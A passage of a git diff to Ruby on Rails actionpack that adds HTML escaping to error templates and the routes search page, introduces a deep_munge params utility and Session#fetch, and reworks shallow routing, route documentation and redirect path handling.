-    Showing <i><%= @exception.file_name %></i> where line <b>#<%= @exception.line_number %></b> raised:
-  </p>
-  <pre><code><%= @exception.message %></code></pre>
-
-  <div class="source">
-    <div class="info">
-      <p>Extracted source (around line <strong>#<%= @exception.line_number %></strong>):</p>
-    </div>
-    <div class="data">
-    <table cellpadding="0" cellspacing="0" class="lines">
-      <tr>
-        <td>
-          <pre class="line_numbers">
-            <% @source_extract.keys.each do |line_number| %>
-<span><%= line_number -%></span>
-            <% end %>
-          </pre>
-        </td>
-<td width="100%">
-<pre>
-<% @source_extract.each do |line, source| -%><div class="line<%= " active" if line == @exception.line_number -%>"><%= source -%></div><% end -%>
-</pre>
-</td>
-    </tr>
-  </table>
-</div>
-</div>
-
-  <p><%= @exception.sub_template_message %></p>
-
-  <%= render template: "rescues/_trace" %>
-  <%= render template: "rescues/_request_and_response" %>
-</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
new file mode 100644
index 0000000..027a0f5
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
@@ -0,0 +1,43 @@
+<% @source_extract = @exception.source_extract(0, :html) %>
+<header>
+  <h1>
+    <%= @exception.original_exception.class.to_s %> in
+    <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
+  </h1>
+</header>
+
+<div id="container">
+  <p>
+    Showing <i><%= @exception.file_name %></i> where line <b>#<%= @exception.line_number %></b> raised:
+  </p>
+  <pre><code><%= h @exception.message %></code></pre>
+
+  <div class="source">
+    <div class="info">
+      <p>Extracted source (around line <strong>#<%= @exception.line_number %></strong>):</p>
+    </div>
+    <div class="data">
+    <table cellpadding="0" cellspacing="0" class="lines">
+      <tr>
+        <td>
+          <pre class="line_numbers">
+            <% @source_extract.keys.each do |line_number| %>
+<span><%= line_number -%></span>
+            <% end %>
+          </pre>
+        </td>
+<td width="100%">
+<pre>
+<% @source_extract.each do |line, source| -%><div class="line<%= " active" if line == @exception.line_number -%>"><%= source -%></div><% end -%>
+</pre>
+</td>
+    </tr>
+  </table>
+</div>
+</div>
+
+  <p><%= @exception.sub_template_message %></p>
+
+  <%= render template: "rescues/_trace" %>
+  <%= render template: "rescues/_request_and_response" %>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
new file mode 100644
index 0000000..5da21d9
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.text.erb
@@ -0,0 +1,8 @@
+<% @source_extract = @exception.source_extract(0, :html) %>
+<%= @exception.original_exception.class.to_s %> in <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
+
+Showing <%= @exception.file_name %> where line #<%= @exception.line_number %> raised:
+<%= @exception.message %>
+<%= @exception.sub_template_message %>
+<%= render template: "rescues/_trace", format: :text %>
+<%= render template: "rescues/_request_and_response", format: :text %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb
deleted file mode 100644
index c1fbf67..0000000
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.erb
+++ /dev/null
@@ -1,6 +0,0 @@
-<header>
-  <h1>Unknown action</h1>
-</header>
-<div id="container">
-  <h2><%= @exception.message %></h2>
-</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
new file mode 100644
index 0000000..259fb2b
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
@@ -0,0 +1,6 @@
+<header>
+  <h1>Unknown action</h1>
+</header>
+<div id="container">
+  <h2><%= h @exception.message %></h2>
+</div>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
new file mode 100644
index 0000000..83973ad
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
@@ -0,0 +1,3 @@
+Unknown action
+
+<%= @exception.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
index 95461fa..2efcb4e 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
@@ -89,8 +89,8 @@
   }
 
   // takes an array of elements with a data-regexp attribute and
-  // passes their their parent <tr> into the callback function
-  // if the regexp matchs a given path
+  // passes their parent <tr> into the callback function
+  // if the regexp matches a given path
   function eachElemsForPath(elems, path, func) {
     each(elems, function(e){
       var reg = e.getAttribute("data-regexp");
@@ -122,7 +122,7 @@
     // On key press perform a search for matching paths
     pathElem.onkeyup = function(e){
       var path        = sanitizePath(pathElem.value),
-          defaultText = '<tr><th colspan="4">Paths Matching (' + path + '):</th></tr>';
+          defaultText = '<tr><th colspan="4">Paths Matching (' + escape(path) + '):</th></tr>';
 
       // Clear out results section
       selectedSection.innerHTML= defaultText;
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
index edf37bb..ddeea24 100644
--- a/actionpack/lib/action_dispatch/railtie.rb
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -16,12 +16,12 @@ module ActionDispatch
     config.action_dispatch.signed_cookie_salt = 'signed cookie'
     config.action_dispatch.encrypted_cookie_salt = 'encrypted cookie'
     config.action_dispatch.encrypted_signed_cookie_salt = 'signed encrypted cookie'
+    config.action_dispatch.perform_deep_munge = true
 
     config.action_dispatch.default_headers = {
       'X-Frame-Options' => 'SAMEORIGIN',
       'X-XSS-Protection' => '1; mode=block',
-      'X-Content-Type-Options' => 'nosniff',
-      'X-UA-Compatible' => 'chrome=1'
+      'X-Content-Type-Options' => 'nosniff'
     }
 
     config.eager_load_namespaces << ActionDispatch
@@ -29,6 +29,7 @@ module ActionDispatch
     initializer "action_dispatch.configure" do |app|
       ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
       ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+      ActionDispatch::Request::Utils.perform_deep_munge = app.config.action_dispatch.perform_deep_munge
       ActionDispatch::Response.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
       ActionDispatch::Response.default_headers = app.config.action_dispatch.default_headers
 
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
index 7bc812f..973627f 100644
--- a/actionpack/lib/action_dispatch/request/session.rb
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -7,6 +7,9 @@ module ActionDispatch
       ENV_SESSION_KEY         = Rack::Session::Abstract::ENV_SESSION_KEY # :nodoc:
       ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY # :nodoc:
 
+      # Singleton object used to determine if an optional param wasn't specified
+      Unspecified = Object.new
+
       def self.create(store, env, default_options)
         session_was = find env
         session     = Request::Session.new(store, env)
@@ -127,6 +130,15 @@ module ActionDispatch
         @delegate.delete key.to_s
       end
 
+      def fetch(key, default=Unspecified, &block)
+        load_for_read!
+        if default == Unspecified
+          @delegate.fetch(key.to_s, &block)
+        else
+          @delegate.fetch(key.to_s, default, &block)
+        end
+      end
+
       def inspect
         if loaded?
           super
diff --git a/actionpack/lib/action_dispatch/request/utils.rb b/actionpack/lib/action_dispatch/request/utils.rb
new file mode 100644
index 0000000..9d4f1aa
--- /dev/null
+++ b/actionpack/lib/action_dispatch/request/utils.rb
@@ -0,0 +1,35 @@
+module ActionDispatch
+  class Request < Rack::Request
+    class Utils # :nodoc:
+
+      mattr_accessor :perform_deep_munge
+      self.perform_deep_munge = true
+
+      class << self
+        # Remove nils from the params hash
+        def deep_munge(hash, keys = [])
+          return hash unless perform_deep_munge
+
+          hash.each do |k, v|
+            keys << k
+            case v
+            when Array
+              v.grep(Hash) { |x| deep_munge(x, keys) }
+              v.compact!
+              if v.empty?
+                hash[k] = nil
+                ActiveSupport::Notifications.instrument("deep_munge.action_controller", keys: keys)
+              end
+            when Hash
+              deep_munge(v, keys)
+            end
+            keys.pop
+          end
+
+          hash
+        end
+      end
+    end
+  end
+end
+
diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb
index 550c7d0..2b6e197 100644
--- a/actionpack/lib/action_dispatch/routing.rb
+++ b/actionpack/lib/action_dispatch/routing.rb
@@ -1,6 +1,7 @@
 # encoding: UTF-8
 require 'active_support/core_ext/object/to_param'
 require 'active_support/core_ext/regexp'
+require 'active_support/dependencies/autoload'
 
 module ActionDispatch
   # The routing module provides URL rewriting in native Ruby. It's a way to
@@ -246,11 +247,13 @@ module ActionDispatch
   # Target specific controllers by prefixing the command with <tt>CONTROLLER=x</tt>.
   #
   module Routing
-    autoload :Mapper, 'action_dispatch/routing/mapper'
-    autoload :RouteSet, 'action_dispatch/routing/route_set'
-    autoload :RoutesProxy, 'action_dispatch/routing/routes_proxy'
-    autoload :UrlFor, 'action_dispatch/routing/url_for'
-    autoload :PolymorphicRoutes, 'action_dispatch/routing/polymorphic_routes'
+    extend ActiveSupport::Autoload
+
+    autoload :Mapper
+    autoload :RouteSet
+    autoload :RoutesProxy
+    autoload :UrlFor
+    autoload :PolymorphicRoutes
 
     SEPARATORS = %w( / . ? ) #:nodoc:
     HTTP_METHODS = [:get, :head, :post, :patch, :put, :delete, :options] #:nodoc:
diff --git a/actionpack/lib/action_dispatch/routing/inspector.rb b/actionpack/lib/action_dispatch/routing/inspector.rb
index cffb814..71a0c5e 100644
--- a/actionpack/lib/action_dispatch/routing/inspector.rb
+++ b/actionpack/lib/action_dispatch/routing/inspector.rb
@@ -69,7 +69,7 @@ module ActionDispatch
       end
 
       def internal?
-        controller.to_s =~ %r{\Arails/(info|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}}
+        controller.to_s =~ %r{\Arails/(info|mailers|welcome)} || path =~ %r{\A#{Rails.application.config.assets.prefix}\z}
       end
 
       def engine?
@@ -179,7 +179,8 @@ module ActionDispatch
 
       private
         def draw_section(routes)
-          name_width, verb_width, path_width = widths(routes)
+          header_lengths = ['Prefix', 'Verb', 'URI Pattern'].map(&:length)
+          name_width, verb_width, path_width = widths(routes).zip(header_lengths).map(&:max)
 
           routes.map do |r|
             "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}"
@@ -193,9 +194,9 @@ module ActionDispatch
         end
 
         def widths(routes)
-          [routes.map { |r| r[:name].length }.max,
-           routes.map { |r| r[:verb].length }.max,
-           routes.map { |r| r[:path].length }.max]
+          [routes.map { |r| r[:name].length }.max || 0,
+           routes.map { |r| r[:verb].length }.max || 0,
+           routes.map { |r| r[:path].length }.max || 0]
         end
     end
 
diff --git a/actionpack/lib/action_dispatch/routing/mapper.rb b/actionpack/lib/action_dispatch/routing/mapper.rb
index 288ce3e..f432e65 100644
--- a/actionpack/lib/action_dispatch/routing/mapper.rb
+++ b/actionpack/lib/action_dispatch/routing/mapper.rb
@@ -3,6 +3,7 @@ require 'active_support/core_ext/hash/reverse_merge'
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/enumerable'
 require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/module/remove_method'
 require 'active_support/inflector'
 require 'action_dispatch/routing/redirection'
 
@@ -147,14 +148,16 @@ module ActionDispatch
             @defaults.merge!(options[:defaults]) if options[:defaults]
 
             options.each do |key, default|
-              next if Regexp === default || IGNORE_OPTIONS.include?(key)
-              @defaults[key] = default
+              unless Regexp === default || IGNORE_OPTIONS.include?(key)
+                @defaults[key] = default
+              end
             end
 
             if options[:constraints].is_a?(Hash)
               options[:constraints].each do |key, default|
-                next unless URL_OPTIONS.include?(key) && (String === default || Fixnum === default)
-                @defaults[key] ||= default
+                if URL_OPTIONS.include?(key) && (String === default || Fixnum === default)
+                  @defaults[key] ||= default
+                end
               end
             end
 
@@ -166,19 +169,21 @@ module ActionDispatch
           end
 
           def normalize_conditions!
-            @conditions.merge!(:path_info => path)
+            @conditions[:path_info] = path
 
             constraints.each do |key, condition|
-              next if segment_keys.include?(key) || key == :controller
-              @conditions[key] = condition
+              unless segment_keys.include?(key) || key == :controller
+                @conditions[key] = condition
+              end
             end
 
-            @conditions[:required_defaults] = []
+            required_defaults = []
             options.each do |key, required_default|
-              next if segment_keys.include?(key) || IGNORE_OPTIONS.include?(key)
-              next if Regexp === required_default
-              @conditions[:required_defaults] << key
+              unless segment_keys.include?(key) || IGNORE_OPTIONS.include?(key) || Regexp === required_default
+                required_defaults << key
+              end
             end
+            @conditions[:required_defaults] = required_defaults
 
             via_all = options.delete(:via) if options[:via] == :all
 
@@ -192,8 +197,7 @@ module ActionDispatch
             end
 
             if via = options[:via]
-              list = Array(via).map { |m| m.to_s.dasherize.upcase }
-              @conditions.merge!(:request_method => list)
+              @conditions[:request_method] = Array(via).map { |m| m.to_s.dasherize.upcase }
             end
           end
 
@@ -214,8 +218,12 @@ module ActionDispatch
               controller ||= default_controller
               action     ||= default_action
 
-              unless controller.is_a?(Regexp)
-                controller = [@scope[:module], controller].compact.join("/").presence
+              if @scope[:module] && !controller.is_a?(Regexp)
+                if controller =~ %r{\A/}
+                  controller = controller[1..-1]
+                else
+                  controller = [@scope[:module], controller].compact.join("/").presence
+                end
               end
 
               if controller.is_a?(String) && controller =~ %r{\A/}
@@ -226,11 +234,13 @@ module ActionDispatch
               action     = action.to_s     unless action.is_a?(Regexp)
 
               if controller.blank? && segment_keys.exclude?(:controller)
-                raise ArgumentError, "missing :controller"
+                message = "Missing :controller key on routes definition, please check your routes."
+                raise ArgumentError, message
               end
 
               if action.blank? && segment_keys.exclude?(:action)
-                raise ArgumentError, "missing :action"
+                message = "Missing :action key on routes definition, please check your routes."
+                raise ArgumentError, message
               end
 
               if controller.is_a?(String) && controller !~ /\A[a-z_0-9\/]*\z/
@@ -330,18 +340,35 @@ module ActionDispatch
           match '/', { :as => :root, :via => :get }.merge!(options)
         end
 
-        # Matches a url pattern to one or more routes. Any symbols in a pattern
-        # are interpreted as url query parameters and thus available as +params+
-        # in an action:
+        # Matches a url pattern to one or more routes.
+        #
+        # You should not use the `match` method in your router
+        # without specifying an HTTP method.
         #
+        # If you want to expose your action to both GET and POST, use:
+        # 
         #   # sets :controller, :action and :id in params
-        #   match ':controller/:action/:id'
+        #   match ':controller/:action/:id', via: [:get, :post]
+        #
+        # Note that +:controller+, +:action+, +:id+  are interpreted as url query 
+        # parameters and thus available as +params+
+        # in an action.
+        #
+        # If you want to expose your action to GET, use `get` in the router:
+        #
+        # Instead of:
+        #
+        #   match ":controller/:action/:id"
+        #
+        # Do:
+        #
+        #   get ":controller/:action/:id"
         #
         # Two of these symbols are special, +:controller+ maps to the controller
         # and +:action+ to the controller's action. A pattern can also map
         # wildcard segments (globs) to params:
         #
-        #   match 'songs/*category/:title', to: 'songs#show'
+        #   get 'songs/*category/:title', to: 'songs#show'
         #
         #   # 'songs/rock/classic/stairway-to-heaven' sets
         #   #  params[:category] = 'rock/classic'
@@ -350,20 +377,21 @@ module ActionDispatch
         # When a pattern points to an internal route, the route's +:action+ and
         # +:controller+ should be set in options or hash shorthand. Examples:
         #
-        #   match 'photos/:id' => 'photos#show'
-        #   match 'photos/:id', to: 'photos#show'
-        #   match 'photos/:id', controller: 'photos', action: 'show'
+        #   match 'photos/:id' => 'photos#show', via: [:get]
+        #   match 'photos/:id', to: 'photos#show', via: [:get]
+        #   match 'photos/:id', controller: 'photos', action: 'show', via: [:get]
         #
         # A pattern can also point to a +Rack+ endpoint i.e. anything that
         # responds to +call+:
         #
-        #   match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }
-        #   match 'photos/:id', to: PhotoRackApp
+        #   match 'photos/:id', to: lambda {|hash| [200, {}, ["Coming soon"]] }, via: [:get]
+        #   match 'photos/:id', to: PhotoRackApp, via: [:get]
         #   # Yes, controller actions are just rack endpoints
-        #   match 'photos/:id', to: PhotosController.action(:show)
+        #   match 'photos/:id', to: PhotosController.action(:show), via: [:get]
         #
-        # Because request various HTTP verbs with a single action has security
-        # implications, is recommendable use HttpHelpers[rdoc-ref:HttpHelpers]
+        # Because requesting various HTTP verbs with a single action has security
+        # implications, you must either specify the actions in
+        # the via options or use one of the HtttpHelpers[rdoc-ref:HttpHelpers]
         # instead +match+
         #
         # === Options
@@ -382,8 +410,8 @@ module ActionDispatch
         # [:module]
         #   The namespace for :controller.
         #
-        #     match 'path', to: 'c#a', module: 'sekret', controller: 'posts'
-        #     #=> Sekret::PostsController
+        #     match 'path', to: 'c#a', module: 'sekret', controller: 'posts', via: [:get]
+        #     # => Sekret::PostsController
         #
         #   See <tt>Scoping#namespace</tt> for its scope equivalent.
         #
@@ -401,9 +429,9 @@ module ActionDispatch
         #   Points to a +Rack+ endpoint. Can be an object that responds to
         #   +call+ or a string representing a controller's action.
         #
-        #      match 'path', to: 'controller#action'
-        #      match 'path', to: lambda { |env| [200, {}, ["Success!"]] }
-        #      match 'path', to: RackApp
+        #      match 'path', to: 'controller#action', via: [:get]
+        #      match 'path', to: lambda { |env| [200, {}, ["Success!"]] }, via: [:get]
+        #      match 'path', to: RackApp, via: [:get]
         #
         # [:on]
         #   Shorthand for wrapping routes in a specific RESTful context. Valid
@@ -428,14 +456,14 @@ module ActionDispatch
         #   other than path can also be specified with any object
         #   that responds to <tt>===</tt> (eg. String, Array, Range, etc.).
         #
-        #     match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }
+        #     match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }, via: [:get]
         #
-        #     match 'json_only', constraints: { format: 'json' }
+        #     match 'json_only', constraints: { format: 'json' }, via: [:get]
         #
-        #     class Blacklist
+        #     class Whitelist
         #       def matches?(request) request.remote_ip == '1.2.3.4' end
         #     end
-        #     match 'path', to: 'c#a', constraints: Blacklist.new
+        #     match 'path', to: 'c#a', constraints: Whitelist.new, via: [:get]
         #
         #   See <tt>Scoping#constraints</tt> for more examples with its scope
         #   equivalent.
@@ -444,7 +472,7 @@ module ActionDispatch
         #   Sets defaults for parameters
         #
         #     # Sets params[:format] to 'jpg' by default
-        #     match 'path', to: 'c#a', defaults: { format: 'jpg' }
+        #     match 'path', to: 'c#a', defaults: { format: 'jpg' }, via: [:get]
         #
         #   See <tt>Scoping#defaults</tt> for its scope equivalent.
         #
@@ -453,7 +481,7 @@ module ActionDispatch
         #   false, the pattern matches any request prefixed with the given path.
         #
         #     # Matches any request starting with 'path'
-        #     match 'path', to: 'c#a', anchor: false
+        #     match 'path', to: 'c#a', anchor: false, via: [:get]
         #
         # [:format]
         #   Allows you to specify the default value for optional +format+
@@ -496,11 +524,12 @@ module ActionDispatch
           raise "A rack application must be specified" unless path
 
           options[:as]  ||= app_name(app)
+          target_as       = name_for_action(options[:as], path)
           options[:via] ||= :all
 
           match(path, options.merge(:to => app, :anchor => false, :format => false))
 
-          define_generate_prefix(app, options[:as])
+          define_generate_prefix(app, target_as)
           self
         end
 
@@ -539,11 +568,11 @@ module ActionDispatch
             _routes = @set
             app.routes.define_mounted_helper(name)
             app.routes.singleton_class.class_eval do
-              define_method :mounted? do
+              redefine_method :mounted? do
                 true
               end
 
-              define_method :_generate_prefix do |options|
+              redefine_method :_generate_prefix do |options|
                 prefix_options = options.slice(*_route.segment_keys)
                 # we must actually delete prefix segment keys to avoid passing them to next url_for
                 _route.segment_keys.each { |k| options.delete(k) }
@@ -695,6 +724,11 @@ module ActionDispatch
           options[:path] = args.flatten.join('/') if args.any?
           options[:constraints] ||= {}
 
+          unless nested_scope?
+            options[:shallow_path] ||= options[:path] if options.key?(:path)
+            options[:shallow_prefix] ||= options[:as] if options.key?(:as)
+          end
+
           if options[:constraints].is_a?(Hash)
             defaults = options[:constraints].select do
               |k, v| URL_OPTIONS.include?(k) && (v.is_a?(String) || v.is_a?(Fixnum))
@@ -776,9 +810,16 @@ module ActionDispatch
         #   end
         def namespace(path, options = {})
           path = path.to_s
-          options = { :path => path, :as => path, :module => path,
-                      :shallow_path => path, :shallow_prefix => path }.merge!(options)
-          scope(options) { yield }
+
+          defaults = {
+            module:         path,
+            path:           options.fetch(:path, path),
+            as:             options.fetch(:as, path),
+            shallow_path:   options.fetch(:path, path),
+            shallow_prefix: options.fetch(:as, path)
+          }
+
+          scope(defaults.merge!(options)) { yield }
         end
 
         # === Parameter Restriction
@@ -967,6 +1008,7 @@ module ActionDispatch
             @as         = options[:as]
             @param      = (options[:param] || :id).to_sym
             @options    = options
+            @shallow    = false
           end
 
           def default_actions
@@ -1027,6 +1069,13 @@ module ActionDispatch
             "#{path}/:#{nested_param}"
           end
 
+          def shallow=(value)
+            @shallow = value
+          end
+
+          def shallow?
+            @shallow
+          end
         end
 
         class SingletonResource < Resource #:nodoc:
@@ -1066,18 +1115,18 @@ module ActionDispatch
         # a singular resource to map /profile (rather than /profile/:id) to
         # the show action:
         #
-        #   resource :geocoder
+        #   resource :profile
         #
         # creates six different routes in your application, all mapping to
-        # the +GeoCoders+ controller (note that the controller is named after
+        # the +Profiles+ controller (note that the controller is named after
         # the plural):
         #
-        #   GET       /geocoder/new
-        #   POST      /geocoder
-        #   GET       /geocoder
-        #   GET       /geocoder/edit
-        #   PATCH/PUT /geocoder
-        #   DELETE    /geocoder
+        #   GET       /profile/new
+        #   POST      /profile
+        #   GET       /profile
+        #   GET       /profile/edit
+        #   PATCH/PUT /profile
+        #   DELETE    /profile
         #
         # === Options
         # Takes same options as +resources+.
@@ -1307,8 +1356,10 @@ module ActionDispatch
           end
 
           with_scope_level(:member) do
-            scope(parent_resource.member_scope) do
-              yield
+            if shallow?
+              shallow_scope(parent_resource.member_scope) { yield }
+            else
+              scope(parent_resource.member_scope) { yield }
             end
           end
         end
@@ -1331,16 +1382,8 @@ module ActionDispatch
           end
 
           with_scope_level(:nested) do
-            if shallow?
-              with_exclusive_scope do
-                if @scope[:shallow_path].blank?
-                  scope(parent_resource.nested_scope, nested_options) { yield }
-                else
-                  scope(@scope[:shallow_path], :as => @scope[:shallow_prefix]) do
-                    scope(parent_resource.nested_scope, nested_options) { yield }
-                  end
-                end
-              end
+            if shallow? && shallow_nesting_depth > 1
+              shallow_scope(parent_resource.nested_scope, nested_options) { yield }
             else
               scope(parent_resource.nested_scope, nested_options) { yield }
             end
@@ -1357,7 +1400,7 @@ module ActionDispatch
         end
 
         def shallow
-          scope(:shallow => true, :shallow_path => @scope[:path]) do
+          scope(:shallow => true) do
             yield
           end
         end
@@ -1398,6 +1441,7 @@ module ActionDispatch
             path_without_format = _path.to_s.sub(/\(\.:format\)$/, '')
             if using_match_shorthand?(path_without_format, route_options)
               route_options[:to] ||= path_without_format.gsub(%r{^/}, "").sub(%r{/([^/]*)$}, '#\1')
+              route_options[:to].tr!("-", "_")
             end
 
             decomposed_match(_path, route_options)
@@ -1428,8 +1472,8 @@ module ActionDispatch
           path = path_for_action(action, options.delete(:path))
           action = action.to_s.dup
 
-          if action =~ /^[\w\/]+$/
-            options[:action] ||= action unless action.include?("/")
+          if action =~ /^[\w\-\/]+$/
+            options[:action] ||= action.tr('-', '_') unless action.include?("/")
           else
             action = nil
           end
@@ -1477,6 +1521,13 @@ module ActionDispatch
               return true
             end
 
+            if options.delete(:shallow)
+              shallow do
+                send(method, resources.pop, options, &block)
+              end
+              return true
+            end
+
             if resource_scope?
               nested { send(method, resources.pop, options, &block) }
               return true
@@ -1521,6 +1572,10 @@ module ActionDispatch
             RESOURCE_METHOD_SCOPES.include? @scope[:scope_level]
           end
 
+          def nested_scope? #:nodoc:
+            @scope[:scope_level] == :nested
+          end
+
           def with_exclusive_scope
             begin
               old_name_prefix, old_path = @scope[:as], @scope[:path]
@@ -1534,21 +1589,24 @@ module ActionDispatch
             end
           end
 
-          def with_scope_level(kind, resource = parent_resource)
+          def with_scope_level(kind)
             old, @scope[:scope_level] = @scope[:scope_level], kind
-            old_resource, @scope[:scope_level_resource] = @scope[:scope_level_resource], resource
             yield
           ensure
             @scope[:scope_level] = old
-            @scope[:scope_level_resource] = old_resource
           end
 
           def resource_scope(kind, resource) #:nodoc:
-            with_scope_level(kind, resource) do
-              scope(parent_resource.resource_scope) do
-                yield
-              end
+            resource.shallow = @scope[:shallow]
+            old_resource, @scope[:scope_level_resource] = @scope[:scope_level_resource], resource
+            @nesting.push(resource)
+
+            with_scope_level(kind) do
+              scope(parent_resource.resource_scope) { yield }
             end
+          ensure
+            @nesting.pop
+            @scope[:scope_level_resource] = old_resource
           end
 
           def nested_options #:nodoc:
@@ -1560,6 +1618,14 @@ module ActionDispatch
             options
           end
 
+          def nesting_depth #:nodoc:
+            @nesting.size
+          end
+
+          def shallow_nesting_depth #:nodoc:
+            @nesting.select(&:shallow?).size
+          end
+
           def param_constraint? #:nodoc:
             @scope[:constraints] && @scope[:constraints][parent_resource.param].is_a?(Regexp)
           end
@@ -1572,18 +1638,20 @@ module ActionDispatch
             flag && resource_method_scope? && CANONICAL_ACTIONS.include?(action.to_s)
           end
 
-          def shallow_scoping? #:nodoc:
-            shallow? && @scope[:scope_level] == :member
+          def shallow_scope(path, options = {}) #:nodoc:
+            old_name_prefix, old_path = @scope[:as], @scope[:path]
+            @scope[:as], @scope[:path] = @scope[:shallow_prefix], @scope[:shallow_path]
+
+            scope(path, options) { yield }
+          ensure
+            @scope[:as], @scope[:path] = old_name_prefix, old_path
           end
 
           def path_for_action(action, path) #:nodoc:
-            prefix = shallow_scoping? ?
-              "#{@scope[:shallow_path]}/#{parent_resource.shallow_scope}" : @scope[:path]
-
             if canonical_action?(action, path.blank?)
-              prefix.to_s
+              @scope[:path].to_s
             else
-              "#{prefix}/#{action_path(action, path)}"
+              "#{@scope[:path]}/#{action_path(action, path)}"
             end
           end
 
@@ -1594,10 +1662,11 @@ module ActionDispatch
 
           def prefix_name_for_action(as, action) #:nodoc:
             if as
-              as.to_s
+              prefix = as
             elsif !canonical_action?(action, @scope[:scope_level])
-              action.to_s
+              prefix = action
             end
+            prefix.to_s.tr('-', '_') if prefix
           end
 
           def name_for_action(as, action) #:nodoc:
@@ -1620,7 +1689,7 @@ module ActionDispatch
             when :new
               [prefix, :new, name_prefix, member_name]
             when :member
-              [prefix, shallow_scoping? ? @scope[:shallow_prefix] : name_prefix, member_name]
+              [prefix, name_prefix, member_name]
             when :root
               [name_prefix, collection_name, prefix]
             else
@@ -1761,6 +1830,7 @@ module ActionDispatch
         @set = set
         @scope = { :path_names => @set.resources_path_names }
         @concerns = {}
+        @nesting = []
       end
 
       include Base
diff --git a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
index 6d3f8da..2fb03f2 100644
--- a/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
+++ b/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb
@@ -74,6 +74,19 @@ module ActionDispatch
       # * <tt>:routing_type</tt> - Allowed values are <tt>:path</tt> or <tt>:url</tt>.
       #   Default is <tt>:url</tt>.
       #
+      # Also includes all the options from <tt>url_for</tt>. These include such
+      # things as <tt>:anchor</tt> or <tt>:trailing_slash</tt>. Example usage
+      # is given below:
+      #
+      #   polymorphic_url([blog, post], anchor: 'my_anchor')
+      #     # => "http://example.com/blogs/1/posts/1#my_anchor"
+      #   polymorphic_url([blog, post], anchor: 'my_anchor', script_name: "/my_app")
+      #     # => "http://example.com/my_app/blogs/1/posts/1#my_anchor"
+      #
+      # For all of these options, see the documentation for <tt>url_for</tt>.
+      #
+      # ==== Functionality
+      #
       #   # an Article record
       #   polymorphic_url(record)  # same as article_url(record)
       #
diff --git a/actionpack/lib/action_dispatch/routing/redirection.rb b/actionpack/lib/action_dispatch/routing/redirection.rb
index 2ec8abd..b08e625 100644
--- a/actionpack/lib/action_dispatch/routing/redirection.rb
+++ b/actionpack/lib/action_dispatch/routing/redirection.rb
@@ -17,7 +17,7 @@ module ActionDispatch
       def call(env)
         req = Request.new(env)
 
-        # If any of the path parameters has a invalid encoding then
+        # If any of the path parameters has an invalid encoding then
         # raise since it's likely to trigger errors further on.
         req.symbolized_path_parameters.each do |key, value|
           unless value.valid_encoding?
@@ -26,14 +26,19 @@ module ActionDispatch
         end
 
         uri = URI.parse(path(req.symbolized_path_parameters, req))
+        
+        unless uri.host
+          if relative_path?(uri.path)
+            uri.path = "#{req.script_name}/#{uri.path}"
+          elsif uri.path.empty?
+            uri.path = req.script_name.empty? ? "/" : req.script_name
+          end
+        end
+          
         uri.scheme ||= req.scheme
         uri.host   ||= req.host
         uri.port   ||= req.port unless req.standard_port?
 
-        if relative_path?(uri.path)
-          uri.path = "#{req.script_name}/#{uri.path}"
-        end
-
         body = %(<html><body>You are being <a href="#{ERB::Util.h(uri.to_s)}">redirected</a>.</body></html>)
 
         headers = {
@@ -57,11 +62,33 @@ module ActionDispatch
         def relative_path?(path)
           path && !path.empty? && path[0] != '/'
         end
+
+        def escape(params)
+          Hash[params.map{ |k,v| [k, Rack::Utils.escape(v)] }]
+        end
+
+        def escape_fragment(params)
+          Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_fragment(v)] }]
+        end
+
+        def escape_path(params)
+          Hash[params.map{ |k,v| [k, Journey::Router::Utils.escape_path(v)] }]
+        end
     end
 
     class PathRedirect < Redirect
